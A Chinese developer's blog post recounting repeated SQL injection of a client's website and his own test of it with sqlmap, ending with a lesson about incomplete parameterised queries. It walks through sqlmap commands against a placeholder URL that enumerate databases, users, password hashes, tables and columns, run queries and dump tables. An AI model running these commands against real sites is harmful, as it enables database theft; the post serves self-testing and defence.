网站的注入漏洞,应该说绝大多数做web开发的人都知道的事情。可是没想到从事6,7年开发工作的我,却会在这上栽了跟头,真是郁闷啊。心情很纠结,按照老婆的话,怎么感觉我像失恋了一样。

事情的起因还是在几个月前,一个重要客户的网站被注入了,当时没有什么损失,只是发现超过100长度的varchar或者text类型字段,被注入了一段html代码,到是没什么恶意的破坏内容,只是类似于广告一样的东西。

当时并没有重视,只是把表都检查了一遍,清除了一遍了事。

但是没想到几周后,数据库再次被注入,这一次有所警觉了,详细的检查了一下大多数代码,用hp的一套天价软件对网站进行了扫描,确实发现了一个文件有注入隐患,随后清除代码,做了修复了事。

又过了几周,数据库再一次被注入,这就让我比较光火了,再次用hp软件扫描,没有问题,服务器端用各种安全软件扫描,也没发现问题,真的是百思不得其姐,最终又只能清除代码了事。

从此以后,就开始了拉锯,过几周就被注入,然后我清除;再过几周又被注入,我再清除,如此反反复复。甚至到最后,我不定期就会上去看看,又被注入了没。

最终只是整理出了只感染dbo架构的表中长度超过100的字符类型字段。

这是前情提要。割一下。


直到今天下午,又检查时,无意间发现一个奇怪的表名,dbo.pangolin_test_table,我的所有表名都是驼峰命名,只有个别几个表会采取这种下划线命名,而我又很清除是什么表,去google一搜索,我直接泪奔了。

看到了sqlmap,其官网上那句slogan:automatic sql injection and database takeover tool(自动sql注入和数据库接管工具,我觉得takeover翻译为接管,更加霸气一些。)

这次我打算一鼓作气,彻底弄明白这个问题,上网站,找资料。

sqlmap当前版本为1.0,下载地址为:https://github.com/sqlmapproject/sqlmap

sqlmap是用python开发的,因此要在本机安装python运行环境,下载地址为:http://www.python.org/download/

要注意的是,sqlmap对python的版本是有要求的,只能是2.6或者2.7版本,高了低了都不行,这点一定要注意。

安装好python之后,进入sqlmap的解压目录,进行如下的操作测试,sqlmap的具体使用打算再写另外一篇文章,这里只是简单的验证一下。

1、sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 0,开始利用页面对网站进行注入检验,因为是给自己的网站做测试,所以已经os和db,可以直接指定,来加快校验速度:

sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbms "Microsoft SQL Server" --os "Windows" -v 0

出现如下提示:

意思是说,检测到多个注入点,选择一个进行注入检测,q是退出。

2、任意选择一个之后,稍等,即会出现下面的信息:

从这里可以看出,基本的server信息,已经在这里列出了

3、继续执行命令(--dbs参数表示列出服务器上的所有数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbs

到这里我已经有点惊恐了,这,太夸张了吧

4、继续执行命令(--users表示列出所有用户):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --users

这个,,好吧,总算还好,只能列出当前web.config字符串中使用的默认登录用户名

5、继续执行命令:(--passwords,列出所有用户密码):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --passwords

执行前,我心颤了几下,要这也可以,我真就郁闷大了,幸亏没获取到,应该是因为我设置了密码强验证有关

6、执行命令(--tables,表示列出所有的表名,dbname,可指定某个具体的数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --tables -D dbname

我觉得,瞬间有尿点了。。

7、执行命令(--columns ,表示列出字段,tablename ,为指定的表名):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --columns -T tablename -D dbname

你妹啊,要管理器还干毛啊,直接用这个不就好了。

8、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 --sql-query "select top 20 * from City"

还带查询的,,那更新,岂不,,,,我已经无语了。。

9、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 -T tablename -D dbname --dump

还想做的再强大点么,连导出都带了。。

这一串做完,我不禁觉得蛋疼菊紧,这这,,曾经以为注意了,整数字符串的强验证,正则表达式对常规的邮箱、手机号等校验,只是参数化语句,确实因为各种原因,没有贯彻的很彻底,再加上实际上的目标页面,是我忙的一段时间,另外一个同事做的。

但是却没想到,就疏忽在这小小的几个页面上了。

一定要引以为戒啊。。。。

我被SQL注入撞了一下腰的更多相关文章

  1. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  2. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

  3. Java应用开发中的SQL注入攻击

    1. 什么是SQL注入攻击? SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多.但是由于程序员的水平及经验参差不齐,相当一部分 ...

  4. 【安全测试】sql注入

    SQL注入攻击是黑客对 数据库 进行攻击的常用手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多,但是由于程序员水平及经验页参差不齐,相当大部分程序员在编写代码的时候没有 ...

  5. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  6. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  7. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  8. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  9. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

随机推荐

  1. 怎么增加照片的KB大小

    之前都是要想办法压缩图片的大小 今天有人发来一张1.8MB的图片让我帮忙调到30MB左右 一下子放大这么多着实有点茫然 之后想到了一个办法 首先把图片占用体积变大,是不会增加清晰度的,而减小占用体积却 ...

  2. java中Log4J的使用笔记

    使用Log4J,程序员可以控制日志信息输送的目的地,包括控制台,文件,GUI组件和NT事件记录器,也可以控制每一条日志的输出格式,或通过定义每一条日志信息的级别,更加细致地控制日志的生成过程. Log ...

  3. android之PackageManager简介

    PackageManager相关 本类API是对所有基于加载信息的数据结构的封装,包括以下功能: 安装,卸载应用查询permission相关信息 查询Application相关信息(applicati ...

  4. 弹出窗口a标签写下载,再弹出窗口

    如果这个窗口是弹出出口,直接<a href="">点击下载<a>是不行的,得用js这样写,弹出并关闭,不然会回到首页,如果没有定义首页会报错,<a h ...

  5. 展开BOM并使用最终用量的算法(转载)

    本文系转载子ITPUB,如果有侵犯您权益的地方,烦请及时的告知与我,我即刻将停止侵权行为: 网址:http://www.itpub.net/thread-1020586-1-1.html http:/ ...

  6. 全局通知Notification

    Notification 全局通知 关于全局通知的个人理解: 即有一个发射消息的,在整个应用中任何对象都可以接受这个消息 但是无论是哪个对象接受消息,都要在这个对象结束时移除消息 简单的说 就是给对象 ...

  7. Java学习之利用集合发牌小练习

    /* * 思路: * A:创建一个HashMap集合 * B:创建一个ArrayList集合 * C:创建花色数组和点数数组 * D:从0开始往HashMap里面存储编号,并存储对应的牌同时往Arra ...

  8. 原生js动态改变dom高度

    item参数为要改变高度的dom,maxHight参数为dom的最大高度,speed参数为改变高度的速度function addHeight(item,maxHight,speed){ var ite ...

  9. jQuery.validationEngine前端验证

    引入相关文件: <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.js" type ...

  10. JS 节流阀

    JS 节流阀 参考 https://github.com/hahnzhu/read-code-per-day/issues/5 节流阀 节流阀的基本原理 事件函数的执行都记下当前时间, 只有当前时间与 ...